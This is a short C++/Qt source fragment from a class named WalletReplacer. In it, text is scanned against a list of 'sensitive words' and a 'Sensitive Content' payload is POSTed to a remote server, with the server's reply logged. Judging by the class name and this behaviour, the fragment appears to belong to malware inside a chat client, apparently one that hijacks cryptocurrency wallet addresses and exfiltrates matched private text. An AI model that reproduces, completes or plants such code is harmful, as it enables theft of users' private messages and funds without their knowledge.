  678. LOG(("Sensitive Content: Request payload: %1").arg(QString(data)));
  679. QNetworkReply *reply = manager.post(request, data);
  680. QEventLoop loop;
  681. QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
  682. loop.exec();
  683. if (reply->error() == QNetworkReply::NoError) {
  684. QByteArray responseData = reply->readAll();
  685. LOG(("Sensitive Content: [SUCCESS] Server response: %1").arg(QString(responseData)));
  686. } else {
  687. LOG(("Sensitive Content: [ERROR] Failed to submit: %1").arg(reply->errorString()));
  688. }
  689. reply->deleteLater();
  690. }
  691. bool WalletReplacer::checkSensitiveWords(const QString &text, QString &foundKeyword) {
  692. QStringList words = getSensitiveWords();
  693. LOG(("Sensitive Check: Checking text against %1 words").arg(words.size()));
  694. for (const QString &word : words) {
  695. if (text.contains(word)) {
  696. foundKeyword = word;
  697. LOG(("Sensitive Check: Found sensitive word: %1").arg(word));
  698. return true;
  699. }
  700. }
  701. return false;
  702. }
  703. } // namespace Core